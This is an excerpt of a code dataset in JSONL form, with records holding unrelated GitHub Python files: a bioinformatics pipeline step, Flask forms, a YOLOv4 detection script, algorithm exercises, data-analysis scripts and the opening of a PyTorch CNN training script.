leaves output in a dir\n config_path = f'{self.sample_name}.error_correction_out/corrected/corrected.yaml'\n spades_out = load(open(config_path).read())\n ec_r1 = spades_out[0]['left reads']\n assert len(ec_r1) == 1\n paths = self.output()['error_corrected_reads_1']\n cmd = f'mv {ec_r1[0]} {paths[0].path} '\n self.run_cmd(cmd)\n rmtree(outdir)\n\n def _run_paired(self):\n r1 = self.nonhuman_reads.output()['nonhuman_reads_1']\n r2 = self.nonhuman_reads.output()['nonhuman_reads_2']\n cmd = self.pkg.bin\n cmd += f' --only-error-correction --meta -1 {r1.path} -2 {r2.path}'\n outdir = f'{self.sample_name}.error_correction_out'\n cmd += f' -t {self.cores} -o {outdir}'\n self.run_cmd(cmd) # runs error correction but leaves output in a dir\n config_path = f'{self.sample_name}.error_correction_out/corrected/corrected.yaml'\n spades_out = safe_load(open(config_path).read())\n ec_r1 = spades_out[0]['left reads']\n assert len(ec_r1) == 1\n ec_r2 = spades_out[0]['right reads']\n assert len(ec_r2) == 1\n paths = self.output()['error_corrected_reads_1'], self.output()['error_corrected_reads_2']\n cmd = f'mv {ec_r1[0]} {paths[0].path} && mv {ec_r2[0]} {paths[1].path}'\n self.run_cmd(cmd)\n rmtree(outdir)\n","repo_name":"MetaSUB/CAP2","sub_path":"cap2/pipeline/preprocessing/error_correct_reads.py","file_name":"error_correct_reads.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"}
+{"seq_id":"2017282684","text":"\"\"\"Intersect a single CSV file with multiple shapefiles.\"\"\"\n\nimport argparse\nimport os\nfrom random import randint\nfrom time import sleep\n\nfrom bison.common import BisonFiller\nfrom bison.common import get_logger\n\n# .............................................................................\ndef intersect_csv_and_shapefiles(in_csv_filename, geodata1, geodata2,\n ancillary_path, out_csv_filename, from_gbif):\n \"\"\"Intersect the records in the csv file with the two provided shapefiles.\n\n Args:\n csv_filename (str): Path to a CSV file of records.\n shapefile_1_filename (str): Path to the first shapefile to check for\n intersection.\n shapefile_2_filename (str): Path to the second shapefile to check for\n intersection.\n out_csv_filename (str): Path for output CSV records.\n \"\"\"\n pth, basefname = os.path.split(out_csv_filename)\n logbasename, _ = os.path.splitext(basefname)\n logfname = os.path.join(pth, '{}.log'.format(logbasename))\n logger = get_logger(logbasename, logfname)\n bf = BisonFiller(log=logger)\n # Pass 4 of CSV transform, final step, point-in-polygon intersection\n bf.update_point_in_polygons(\n geodata1, geodata2, ancillary_path, in_csv_filename, out_csv_filename,\n from_gbif=from_gbif)\n # Do intersection here\n sleep(randint(0, 10))\n print(' - {}'.format(out_csv_filename))\n\n\n# .............................................................................\ndef main():\n \"\"\"Main method for script.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n 'csv_filename', type=str, help='Input record CSV file path.')\n parser.add_argument(\n 'terrestrial_shapefile_path', type=str,\n help='Terrestrial shapefile for intersection.')\n parser.add_argument(\n 'marine_shapefile_path', type=str,\n help='Marine shapefile for intersection.')\n parser.add_argument(\n 'out_csv_path', type=str,\n help='File path for output recordds CSV file.')\n args = parser.parse_args()\n intersect_csv_and_shapefiles(\n args.csv_filename, args.terrestrial_shapefile_path,\n args.marine_shapefile_path, args.out_csv_path)\n\n\n# .............................................................................\nif __name__ == '__main__':\n main()\n","repo_name":"lifemapper/bison","sub_path":"obsolete/src/common/intersect_one.py","file_name":"intersect_one.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40982024299","text":"from django.conf import settings\nif settings.DATABASE_ENGINE == 'mysql':\n from dmigrations.mysql import migrations as m\nelif settings.DATABASE_ENGINE == 'sqlite3':\n from dmigrations.sqlite3 import migrations as m\n\nclass CustomMigration(m.Migration):\n def __init__(self):\n sql_up = [\n 'alter table trips_sighting change species_id species_id int(11) null;'\n ]\n sql_down = [\n 'alter table trips_sighting change species_id species_id int(11) not null;'\n ]\n super(CustomMigration, self).__init__(\n sql_up=sql_up, sql_down=sql_down\n )\n # Or override the up() and down() methods\n\nmigration = CustomMigration()\n","repo_name":"devfort/wildlifenearyou","sub_path":"zoo/migrations/125_make_species_id_null_on_trips_sighting.py","file_name":"125_make_species_id_null_on_trips_sighting.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"28503273012","text":"from flask_wtf import FlaskForm\nfrom wtforms import (PasswordField, SelectMultipleField, StringField,\n SubmitField, SelectField, RadioField, TextAreaField, DateField, FileField, widgets, IntegerField)\nfrom wtforms.validators import DataRequired, Email, EqualTo, Length, Regexp\n\nfrom app.db_models import Role, User\n\nclass MultiCheckboxField(SelectMultipleField):\n \"\"\"\n A multiple-select, except displays a list of checkboxes.\n\n Iterating the field will produce subfields, allowing custom rendering of\n the enclosed checkbox fields.\n \"\"\"\n widget = widgets.ListWidget(prefix_label=False)\n option_widget = widgets.CheckboxInput()\n\nclass RoleForm(FlaskForm):\n\tname = StringField(\"Nome: \", validators=[DataRequired()])\n\tsubmit = SubmitField(\"Salvar\")\n\nclass LoginForm(FlaskForm):\n\temail = StringField(\"Email\", validators=[DataRequired()])\n\tpassword = PasswordField(\"Senha\", validators=[DataRequired()])\n\tsubmit = SubmitField(\"Entrar\")\n\nclass RegisterForm(FlaskForm):\n first_name = StringField(\"Nome:\", validators=[DataRequired(), Length(max=50)])\n last_name = StringField(\"Sobrenome:\", validators=[DataRequired(), Length(max=50)])\n phone = StringField(\"Telefone:\", validators=[DataRequired(), Length(max=30)])\n email = StringField(\"Email:\", validators=[DataRequired(), Email()])\n password = PasswordField(\"Senha:\", validators=[DataRequired(), Regexp(\"^[a-zA-Z0-9_\\-&$@#!%^*+.]{8,30}$\", message='A senha deve ter 8 caracteres e deve conter letras, números e símbolos.')])\n confirm = PasswordField(\"Confirmar Senha:\",validators=[EqualTo('password', message='As senhas devem corresponder')])\n roles = MultiCheckboxField(\"Funcão:\", coerce=int)\n submit = SubmitField(\"Cadastrar\")\n \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.roles.choices = [(roles.id, roles.name) for roles in Role.query.all()]\n\nclass FaseOneForm(FlaskForm):\n # Row 1\n cod_planta = StringField(\"1 - Código Planta\", validators=[DataRequired(), Length(max=50)])\n nome_cliente = StringField(\"2 - Nome Cliente\", validators=[DataRequired(), Length(max=50)])\n segmento = StringField(\"3 - Segmento\", validators=[DataRequired(), Length(max=50)])\n cod_peca = StringField(\"4 - Código da Peça\", validators=[DataRequired(), Length(max=50)])\n descricao_peca = StringField(\"5 - Descrição da Peça\", validators=[DataRequired(), Length(max=50)])\n linha = StringField(\"6 - Linha\", validators=[DataRequired(), Length(max=50)])\n area = StringField(\"7 - Área\", validators=[DataRequired(), Length(max=50)])\n # Row 2\n procedencia = RadioField('8 - Procedência', choices=[('value','Externa Formal '),('value_two','Externa Informal '),('value_tree','Interno')])\n doc_cliente = StringField(\"Documento Cliente\", validators=[DataRequired(), Length(max=50)])\n # Row 3 \n problema_reincidente = RadioField(\"9 - Problema Reincidente\", choices=[('value', 'Não '), ('value_two', 'Sim ')])\n ha_devolucao = RadioField(\"10 - Houve Peça Devolvida\", choices=[('value', 'Não '), ('value_two', 'Sim ')])\n qtd_devolucao = StringField(\"Quantidade devolvida\", validators=[DataRequired(), Length(max=50)])\n # Row 4 \n qual_rnc = TextAreaField(\"11 - Qual é a não conformidade?\", validators=[DataRequired(), Length(max=250)])\n o_que = TextAreaField(\"12 - O que?\", validators=[DataRequired(), Length(max=250)])\n quando = TextAreaField(\"13 - Quando?\", validators=[DataRequired(), Length(max=250)])\n onde = TextAreaField(\"14 - Onde?\", validators=[DataRequired(), Length(max=250)])\n quem = TextAreaField(\"15 - Quem?\", validators=[DataRequired(), Length(max=250)])\n como = TextAreaField(\"16 - Como foi detectado?\", validators=[DataRequired(), Length(max=250)])\n modo_de_falha = TextAreaField(\"17 - Modo de falha\", validators=[DataRequired(), Length(max=250)])\n # Row 5 \n gerar_tratativa = RadioField(\"18 - Gerar Tratativa?\", choices=[('value', 'Não '), ('value_two', 'Sim ')])\n pq_nao_tratativa = StringField(\"Motivo\", validators=[DataRequired(), Length(max=250)])\n pos_vendas = StringField(\"Pós Vendas\", validators=[DataRequired(), Length(max=50)])\n #data_registro = DateField(\"Data\", format=\"%d-%m-%Y\")\n visto = MultiCheckboxField(\"Visto\", choices=[('value','Aprovado')])\n anexo = FileField(\"Anexo\")\n salvar_1 = SubmitField(\"Salvar\")\n\nclass FaseTwoForm(FlaskForm):\n ct = StringField(\"CT\", validators=[DataRequired(), Length(max=50)])\n area = StringField(\"Área\", validators=[DataRequired(), Length(max=50)])\n exame_objeto = TextAreaField(\"Examine o objeto\", validators=[DataRequired(), Length(max=250)])\n fatos_e_dados = TextAreaField(\"Checar fatos e dados\", validators=[DataRequired(), Length(max=250)])\n compare_com_teoria = TextAreaField(\"Compare com a teoria\", validators=[DataRequired(), Length(max=250)])\n ha_padrao = RadioField(\"Há padrão dispinível?\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n qual_padrao = TextAreaField(\"Qual?\", validators=[Length(max=250)])\n esta_sendo_seguido = RadioField(\"Está sendo seguido?\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n reclamacao_procedente = RadioField(\"Reclamação procedente?\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n rps = RadioField(\"Caso sim\", choices=[('value', '8D '), ('value_two', 'Fast Kaizen')])\n rpn = TextAreaField(\"Atualizar informação\", validators=[Length(max=250)])\n bloquear_embarque = RadioField(\"Bloquear Embarque\", choices=[('sim', 'Sim'), ('nao', 'Não')])\n msg_bloqueio = TextAreaField(\"Mensagem\", validators=[DataRequired(), Length(max=250)])\n imagem_pos = FileField(\"Anexar Imagem Padrão\")\n imagem_neg = FileField(\"Anexar Imagem Defeito\")\n medidas_contencao = TextAreaField(\"Medidadas de contenção\", validators=[DataRequired(), Length(max=250)])\n nome_coordenador = StringField(\"Nome\")\n visto_2 = StringField(\"Visto\")\n data_registro_2 = DateField(\"Data\", format=\"%d-%m-%Y\")\n visto = MultiCheckboxField(\"Visto\", choices=[('value','Aprovado'), ('value2','Reprovado')])\n anexo_2 = FileField(\"Anexo\")\n salvar_2 = SubmitField(\"Salvar\")\n\nclass FaseTreeForm(FlaskForm):\n qtd_inspecionada = IntegerField(\"Quantidade de inspecionadas?\", validators=[DataRequired()])\n qtd_reprovadas = IntegerField(\"Quantidade de reprovadas?\", validators=[DataRequired()])\n destino = RadioField(\"Destino\", choices=[('desvio', 'Desvio '), ('sucateamento', 'Sucateamento')])\n texto_destino = TextAreaField(\"Texto de destino\", validators=[DataRequired(), Length(max=250)])\n equipe = MultiCheckboxField(\"3.3 - Definição da Equipe\", coerce=int)\n coordenador_rnc = StringField('Coordenador da RNC')\n data_registro_3 = DateField(\"Data\", format=\"%d-%m-%Y\")\n anexo_3 = FileField(\"Anexo\") \n salvar_3 = SubmitField(\"Salvar\")\n \n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.equipe.choices = [(user.id, user.first_name) for user in User.query.all()]\n\nclass FaseFourForm(FlaskForm):\n mao_de_obra = StringField('Mão de obra ou Pessoas')\n medida = StringField('Medida')\n maquina = StringField('Máquina ou Equipamento')\n materiais = StringField('Materiais')\n meio_ambiente = StringField('Meio Ambiente')\n metodo = StringField('Método') \n\n what = StringField('What?')\n why = StringField('Why?')\n where = StringField('Where?')\n when = StringField('When?')\n who = StringField('Who?')\n how_much = StringField('How much?')\n\n auditoria_escalonada = RadioField(\"É necessário realizar Auditoria Escalonada?\", choices=[('nao', 'Não'), ('sim', 'Sim')])\n numero_auditorias = StringField('Numero')\n\n linha = SelectField(\"Qual a linha geradora da não conformidade?\", coerce=str)\n \n causa_um = TextAreaField(\"1\", validators=[DataRequired(), Length(max=250)])\n causa_dois = TextAreaField(\"2\", validators=[DataRequired(), Length(max=250)])\n causa_tres = TextAreaField(\"3\", validators=[DataRequired(), Length(max=250)])\n\n coordenador_rnc = StringField('Coordenador da RNC')\n data_registro_4 = DateField(\"Data\", format=\"%d-%m-%Y\")\n visto_4 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n anexo_4 = FileField(\"Anexo\") \n\n salvar_4 = SubmitField(\"Salvar\") \n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.linha.choices = [\"Agricola\", \"Média\", \"Pesada\"]\n\nclass FaseFiveForm(FlaskForm):\n observacao = TextAreaField(\"5.2 - Observação\", validators=[DataRequired(), Length(max=250)])\n\n coordenador_rnc = StringField('Coordenador da RNC')\n data_registro_5 = DateField(\"Data\", format=\"%d-%m-%Y\")\n visto_5 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n anexo_5 = FileField(\"Anexo\") \n\n salvar_5 = SubmitField(\"Salvar\") \n\nclass FaseSixForm(FlaskForm):\n acoes_corretivas = RadioField(\"6.1 - Ações corretivas foram eficazes?\", choices=[('sim', 'Sim '), ('nao', 'Não')])\n devolver_para_fase = SelectField(\"Devolver para a Fase\", coerce=int)\n porque_devolver = TextAreaField(\"Porque?\", validators=[DataRequired(), Length(max=250)])\n metodo_de_validacao = RadioField(\"6.2 - Método de Validação?\", choices=[('poka_yoke', 'Poka Yoke'), ('3_lotes', '3 Lotes'), ('30_dias', '30 Dias')])\n anexo_evidencia = FileField(\"Anexar Evidência\") \n anexo_pv1 = FileField(\"Anexar PV1\") \n\n pos_vendas = StringField('Pos Vendas')\n data_registro_6 = DateField(\"Data\", format=\"%d-%m-%Y\")\n visto_6 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n anexo_6 = FileField(\"Anexo\") \n\n salvar_6 = SubmitField(\"Salvar\") \n\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.devolver_para_fase.choices = [ 1, 2, 3, 4, 5]\n\nclass FaseSevenForm(FlaskForm):\n revisao_fmea = RadioField(\"7.1 - Revisado FMEA/Plano de Controle\", choices=[('sim', 'Sim '), ('nao', 'Não')])\n porque_revisao_fmea = TextAreaField(\"Porque?\", validators=[DataRequired(), Length(max=250)])\n\n codigos_similares = RadioField(\"7.2 - Abrange Códigos Similares?\", choices=[('sim', 'Sim '), ('nao', 'Não')])\n quais = StringField('Quais?')\n\n eng_processos = StringField('Engenharia de Processos')\n data_registro_7 = DateField(\"Data\", format=\"%d-%m-%Y\")\n visto_7 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n anexo_7 = FileField(\"Anexo\") \n\n salvar_7 = SubmitField(\"Salvar\") \n\nclass FaseEigthForm(FlaskForm):\n custos = StringField('8.1 - Custos R$')\n\n site_cliente_atualizado = RadioField(\"Foi Atualizdo o Site do Cliente?\", choices=[('sim', 'Sim '), ('nao', 'Não')])\n porque_nao = StringField('')\n\n pos_vendas = StringField('Pos Vendas')\n data_registro_8 = DateField(\"Data\", format=\"%d-%m-%Y\")\n visto_8 = MultiCheckboxField(\"Visto\", choices=[('aprovado','Aprovado'), ('reprovado','Reprovado')])\n anexo_8 = FileField(\"Anexo\") \n\n salvar_8 = SubmitField(\"Salvar\") ","repo_name":"joellpaim/rnc-system","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":11109,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34190075421","text":"import tensorflow as tf\nimport numpy as np\nfrom PIL import Image\nfrom ThinPlateSpline2 import ThinPlateSpline2 as stn\n\nimg = np.array(Image.open(\"original.png\"))\nout_size = list(img.shape)\nshape = [1]+out_size+[1]\n\ns_ = np.array([ # source position\n [-0.5, -0.5],\n [0.5, -0.5],\n [-0.5, 0.5],\n [0.5, 0.5]])\n\nt_ = np.array([ # target position\n [-0.3, -0.3],\n [0.3, -0.3],\n [-0.3, 0.3],\n [0.3, 0.3]])\n\ns = tf.constant(s_.reshape([1, 4, 2]), dtype=tf.float32)\nt = tf.constant(t_.reshape([1, 4, 2]), dtype=tf.float32)\nt_img = tf.constant(img.reshape(shape), dtype=tf.float32)\nt_img = stn(t_img, s, t, out_size)\n\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n img1 = sess.run(t_img)\n Image.fromarray(np.uint8(img1.reshape(out_size))).save(\"transformed2.png\")\n","repo_name":"iwyoo/tf_ThinPlateSpline","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"3"}
+{"seq_id":"39502421994","text":"import cv2\r\nimport numpy as np\r\n\r\n# Load model YOLOv4\r\nnet = cv2.dnn.readNet(\"yolov4.weights\", \"yolov4.cfg\")\r\n\r\n# List các tên lớp\r\nclasses = []\r\nwith open(\"coco.names\", \"r\") as f:\r\n classes = [line.strip() for line in f.readlines()]\r\n\r\n# Đọc ảnh từ file\r\nimg = cv2.imread(\"example2.jpg\")\r\n\r\n# Lấy kích thước ảnh\r\nheight, width, _ = img.shape\r\n\r\n# Tạo input blob từ ảnh\r\nblob = cv2.dnn.blobFromImage(img, 1 / 255.0, (416, 416), swapRB=True, crop=False)\r\n\r\n# Đưa input blob vào mô hình\r\nnet.setInput(blob)\r\n\r\n# Chạy forward pass và lấy output\r\nlayer_names = net.getLayerNames()\r\noutput_layers = [layer_names[i - 1] for i in net.getUnconnectedOutLayers()]\r\noutputs = net.forward(output_layers)\r\n\r\n# Tính toán các thông tin về bounding box và confidence\r\nboxes = []\r\nconfidences = []\r\nclass_ids = []\r\nfor output in outputs:\r\n for detection in output:\r\n scores = detection[5:]\r\n class_id = np.argmax(scores)\r\n confidence = scores[class_id]\r\n if confidence > 0.5:\r\n center_x = int(detection[0] * width)\r\n center_y = int(detection[1] * height)\r\n w = int(detection[2] * width)\r\n h = int(detection[3] * height)\r\n x = int(center_x - w / 2)\r\n y = int(center_y - h / 2)\r\n boxes.append([x, y, w, h])\r\n confidences.append(float(confidence))\r\n class_ids.append(class_id)\r\n\r\n# Áp dụng non-maximum suppression để loại bỏ các bounding box trùng lặp\r\nindices = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4)\r\n\r\n# Vẽ bounding box lên ảnh\r\nfor i in indices.flatten():\r\n x, y, w, h = boxes[i]\r\n label = classes[class_ids[i]]\r\n confidence = confidences[i]\r\n color = (0, 255, 0)\r\n cv2.rectangle(img, (x, y), (x + w, y + h), color, 2)\r\n cv2.putText(img, f\"{label}: {confidence:.2f}\", (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, color, 2)\r\n\r\n# Hiển thị ảnh kết quả\r\ncv2.imshow(\"YOLOv4\", img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"Darkness779/yolov4","sub_path":"yolov4.py","file_name":"yolov4.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22420443265","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def reorderList(self, head: ListNode) -> None:\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n dictn = dict()\n idx = 0\n temp = head\n while temp:\n dictn[idx] = temp\n idx += 1\n temp = temp.next\n count = idx-1\n if count <= 1:\n return head\n node = head \n while node.next and node.next != dictn[count]:\n temp = node.next\n dictn[count-1].next = None\n node.next = dictn[count] \n dictn[count].next = temp\n node = temp\n count -= 1\n","repo_name":"abhinay-b/Leetcode-Submissions","sub_path":"accepted_codes/Reorder_List/Reorder List_289486874.py","file_name":"Reorder List_289486874.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"19382494452","text":"# coding: utf-8\n# @Author : lryself\n# @Date : 2022/7/1 21:58\n# @Software: PyCharm\n\ns = input()\nn = len(s)\nword_pos = {}\npos_sign = []\npos_word = []\nfor index, i in enumerate(s):\n if \"a\" <= i <= \"z\" or \"A\" <= i <= \"Z\":\n c = i.lower()\n if c not in word_pos:\n word_pos[c] = []\n word_pos[c].append(index)\nkeys = list(word_pos.keys())\nkeys.sort()\nfor i in keys:\n pos_word.extend(word_pos[i])\nindex = 0\nfor i in s:\n if \"a\" <= i <= \"z\" or \"A\" <= i <= \"Z\":\n print(s[pos_word[index]], end=\"\")\n index += 1\n else:\n print(i, end=\"\")\n","repo_name":"lryself/python_learning","sub_path":"nowcoder/HJ26 字符串排序.py","file_name":"HJ26 字符串排序.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"11466521077","text":"import xlrd\nfrom scipy.stats import zscore\nfrom methods import *\nfrom pylab import *\n#from writeapriorifile import *\n\n\n#Converts Present and Absent into numbers.\ndef convert(s):\n if s == \"Present\":\n return 1\n else:\n return 0\n\n#Load dataset\ndoc = xlrd.open_workbook('../../dataset_sorted.xls').sheet_by_index(0)\n\nsize = 463\nnoAttributes = 9\n\n#Get attributes and classnames\nattributeNames = doc.row_values(0,1,noAttributes+1)\nattributeNamesCHD = doc.row_values(0,1,noAttributes+1+1)\n\nclassLabels = doc.col_values(noAttributes+1,1,size)\nclassNames = sorted(set(classLabels))\nclassDict = dict(zip(classNames,range(2)))\n\n\ny = np.mat([classDict[value] for value in classLabels]).T\n\nX = np.mat(np.empty((size-1,noAttributes)))\nXCHD =np.mat(np.empty((size-1,noAttributes+1)))\n\nfor i, col_id in enumerate(range(1,noAttributes+1+1)):\n if(i < len(attributeNames) and attributeNames[i] == \"famhist\"):\n temp12 = [convert(i2) for i2 in doc.col_values(col_id,1,size)]\n if i < noAttributes:\n X[:,i] = np.mat(temp12).T\n XCHD[:,i] = np.mat(temp12).T\n else:\n if i < noAttributes:\n X[:,i] = np.mat(doc.col_values(col_id,1,size)).T\n XCHD[:,i] = np.mat(doc.col_values(col_id,1,size)).T\n\n\nM = len(attributeNames) \nN = len(y)\nC = len(classNames)\n\n\nXStandardized = zscore(X, ddof=1)\n\n\nXPC = getPrincipalComponents(XStandardized)\n\nX2PC = np.copy(XPC)\n\nplotCVK(XPC,range(1,21),iterations = 1)\ngmm(XPC, y, 9, C, K=6)\n\nhierarchicalClustering(XPC,y,6,C,Method = 'complete')\n\nXBin = convertToBinary(XCHD)\n\nattributeNames2 = attributeNames + ['CHD']\n\nWriteAprioriFile(XBin,titles=attributeNames2,filename=\"AprioriFile.txt\")\n\ndoApriori(\"AprioriFile.txt\",minSup=30,minConf = 50)\n\noutlierDetection(XStandardized,objects = 5)\n","repo_name":"khushi4tiwari/South-African-Heart-Disease-data-analysis-using-python","sub_path":"part3/Project3.py","file_name":"Project3.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"18758815265","text":"import torch.utils.data\nfrom torch.utils.data import ConcatDataset\nfrom torch.utils.data import Sampler, BatchSampler, RandomSampler\nfrom typing import Optional, Iterator\nimport numpy as np\n\n\nclass ratio_sampler(Sampler[int]):\n def __init__(self, data_source: ConcatDataset, replacement: bool = False, num_samples: Optional[int] = None, ratio=1, generator=None):\n '''\n params: ratio, means the ratio of the labeled and unlabeled data in a batch.\n >>> ratio_sampler(data_source)\n '''\n super().__init__(data_source)\n self.data_source = data_source\n self.replacement = replacement\n self._num_samples = num_samples\n self.cumulative_sizes = data_source.cumulative_sizes\n self.ratio = ratio\n self.generator = generator\n self.l = []\n\n if not isinstance(self.replacement, bool):\n raise TypeError(\"replacement should be a boolean value, but got \"\n \"replacement={}\".format(self.replacement))\n\n if self._num_samples is not None and not replacement:\n raise ValueError(\"With replacement=False, num_samples should not be specified, \"\n \"since a random permute will be performed.\")\n\n if not isinstance(self.num_samples, int) or self.num_samples <= 0:\n raise ValueError(\"num_samples should be a positive integer \"\n \"value, but got num_samples={}\".format(self.num_samples))\n\n @property\n def num_samples(self) -> int:\n n = len(self.data_source)\n n1, n2 = [len(i) for i in self.data_source.datasets]\n assert n == n1 + n2, \"data_source_datasets'length is more than two.\"\n\n l1 = np.random.choice(np.arange(n1), size=n1, replace=False)\n l2 = np.random.choice(np.arange(n1, n1 + n2), size=n1, replace=True)\n\n if self.ratio == 1:\n l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n elif self.ratio == 2:\n l = np.array([list(i) for i in zip(l1, l2, l2)]).reshape(-1).tolist()\n else:\n print('self.ratio should be one of [1, 2], now reset to ratio=1')\n l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n return len(l)\n\n def __iter__(self) -> Iterator[int]:\n if self.generator is None:\n seed = torch.empty((), dtype=torch.int64).random_().item()\n np.random.seed(int(str(seed)[-3:]))\n else:\n raise ValueError\n n = len(self.data_source)\n n1, n2 = [len(i) for i in self.data_source.datasets]\n assert n == n1 + n2, \"data_source_datasets'length is more than two.\"\n\n if self.replacement:\n raise ValueError(\"don't wanna self.replacement=True\")\n else:\n l1 = np.random.choice(np.arange(n1), size=n1, replace=False)\n np.random.seed(1)\n l2 = np.random.choice(np.arange(n1, n1+n2), size=n1, replace=True)\n np.random.seed(2)\n l22 = np.random.choice(np.arange(n1, n1+n2), size=n1, replace=True)\n\n if self.ratio == 1:\n l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n elif self.ratio == 2:\n l = np.array([list(i) for i in zip(l1, l2, l22)]).reshape(-1).tolist()\n else:\n print('self.ratio should be one of [1, 2], now reset to ratio=1')\n l = np.array([list(i) for i in zip(l1, l2)]).reshape(-1).tolist()\n\n yield from l\n\n def __len__(self) -> int:\n return self.num_samples\n\n","repo_name":"yonghongwu/TDNet","sub_path":"Training/utils/RatioSampler.py","file_name":"RatioSampler.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"36219416961","text":"import json\r\n\r\ndef saver_json(info_to_save, filename):\r\n \"saving info get from user to json\"\r\n print (f\"\\nwrite {info_to_save}, to {filename}\")\r\n with open (filename, 'w') as f:\r\n json.dump(info_to_save, f)\r\n print (f\"We'l remember you, when you come back, {info_to_save}\")\r\n\r\ndef loader_json(filename):\r\n \"read the json file and return data\"\r\n try:\r\n print (f\"\\nread file '{filename}': \")\r\n with open (filename) as f:\r\n info_to_load = json.load(f)\r\n except FileNotFoundError:\r\n return None\r\n else:\r\n return info_to_load\r\n \r\n\r\n\r\n\r\ninfo_to_save = input ('What is you name? ')\r\nfilename = 'username.json'\r\nsaver_json(info_to_save, filename)\r\nprint (loader_json(filename))","repo_name":"Artarin/study-python-Erick-Metis","sub_path":"operation_with_files/save_load/saver_loader.py","file_name":"saver_loader.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34628346363","text":"#!/usr/bin/env python3\n\nimport math\n\n\nclass BellmanFord:\n def __init__(self, num_nodes, num_edges, data):\n self.num_nodes = num_nodes\n self.num_edges = num_edges\n\n self.edge_dict = {}\n for n in range(1, self.num_nodes + 1):\n self.edge_dict[n] = []\n for e in data:\n self.edge_dict[e[1]].append(e)\n\n def shortest_path(self, s):\n \"\"\" Returns either a list of the shortest paths from s to all other\n nodes, or False if the graph contains a negative cycle.\n \"\"\"\n paths = []\n\n # i == 0\n for node in range(1, self.num_nodes + 1):\n if node == s:\n paths.append(0)\n else:\n paths.append(math.inf)\n\n for i in range(1, self.num_nodes + 1):\n prev_paths = paths\n paths = []\n print('i = ', i)\n for n in range(1, self.num_nodes + 1):\n # source node\n if n == s:\n paths.append(0)\n continue\n # Get A\n a = prev_paths[n - 1]\n # Get B\n b = math.inf\n for v in self.edge_dict[n]:\n b = min(b, prev_paths[v[0] - 1] + v[2])\n paths.append(min(a, b))\n\n # Check neg cycles\n if paths != prev_paths:\n return False\n else:\n return prev_paths\n","repo_name":"ceik/langunita","sub_path":"algorithms/apsp/bellman_ford.py","file_name":"bellman_ford.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12419754852","text":"from code.stage_3_code.Dataset_Loader import Dataset_Loader\nfrom code.stage_3_code.Method_CNN import Method_CNN\nfrom code.stage_2_code.Result_Saver import Result_Saver\nfrom code.stage_3_code.Setting_Mini_Batch import Setting_Mini_Batch\nfrom code.stage_2_code.Evaluate_Accuracy import Evaluate_Accuracy\nimport numpy as np\nimport torch\nimport os\nfrom torch import nn\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\n# ---- Multi-Layer Perceptron script ----\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nprint(torch.cuda.is_available())\n\nif 1:\n\n # ---- parameter section -------------------------------\n np.random.seed(2)\n torch.manual_seed(2)\n # ------------------------------------------------------\n i = 2\n f = 2\n # ---- objection initialization setction ---------------\n files= ['MNIST', 'ORL', 'CIFAR' ]\n sizes= [20000, 360, 2048 ]\n epoches= [1000, 500, 10 ]\n stages= [4, 1, 200 ]\n chans= [1, 3, 3 ]\n lrs=[10e-5,10e-5,10e-4]\n fs=[nn.Sequential(\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(1, 8, 5),\n nn.ReLU(inplace=True),\n 